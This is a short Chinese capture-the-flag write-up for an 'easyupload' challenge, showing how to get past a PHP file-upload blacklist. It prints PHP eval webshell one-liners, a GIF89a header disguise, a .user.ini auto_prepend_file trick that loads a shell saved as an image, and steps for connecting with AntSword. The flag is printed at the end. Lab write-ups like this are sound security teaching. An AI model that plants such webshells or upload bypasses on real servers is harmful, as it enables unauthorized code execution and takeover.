CTF之easyupload

拿到题目发现是文件上传的漏洞,但是这个黑名单过滤的有点严格,无论是文件里还是文件后缀都不能出现php

那我们就用<?=eval($_POST['a']);?>来进行绕过(注意这里要加个GIF89a或者GIP87a进行欺骗)

但是后缀依然不能绕过怎么办?

接下来就要学新知识了

.user.ini文件

auto_prepend_file可以让所有的php文件自动的包含某个文件。

例如在.user.ini文件中写入

auto_prepend_file=shell.jpg

然后在shell.jpg中写入一个一句话木嘛

<?php eval($_P0ST['aaa']); ?>

那么和.user.ini和shell.jpg同一目录下的所有php文件都会包含shell.jpg文件。

这里上传.user.ini文件

文件里写:auto_prepend_file=a.jpg

注意:要进行抓包将文件类型改成Content-Type: image/jpeg并且也要加GIF89a或者GIF87a

然后再上传一个对应的木马文件,并且后缀为图片类型

最后就是用蚁剑连接了注意连接地址是/uploads/index.php

cyberpeace{8e50e0951cae4b39f7c312da788c71bb}

相关推荐
聚铭网络1 小时前
聚铭安全管家平台可视化大屏,打造安全运营的“驾驶舱”与“作战图”
人工智能·网络安全
CRMEB1 小时前
高品质开源电商系统的技术内核:架构设计与技术优势
ai·开源·php·免费源码·源代码管理·商城源码
咆哮的黑化肥1 小时前
Web 文件上传漏洞(+Upload-labs靶场练习)
web安全·网络安全
BingoGo1 小时前
别再手写 URL 解析器了:PHP 8.5 URI 扩展让 URL 处理更安全、更干净
后端·php
JaguarJack1 小时前
别再手写 URL 解析器了:PHP 8.5 URI 扩展让 URL 处理更安全、更干净
后端·php·服务端
Whoami!1 小时前
❿⁄₁₁ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击实践 ➱ NTLM哈希传递攻击
网络安全·信息安全·哈希算法·密码破解·ntlm哈希传递
咆哮的黑化肥2 小时前
跨站脚本攻击XSS入门(+DVWA、Pikachu靶场练习)
网络安全·xss
007php00712 小时前
mySQL里有2000w数据,Redis中只存20w的数据,如何保证Redis中的数据都是热点数据
数据库·redis·git·mysql·面试·职场和发展·php
Love Song残响13 小时前
深入解析TCP/IP协议栈:从底层到应用层
网络·tcp/ip·php
能年玲奈喝榴莲牛奶17 小时前
安全服务-应急响应
web安全·网络安全·应急响应·安全服务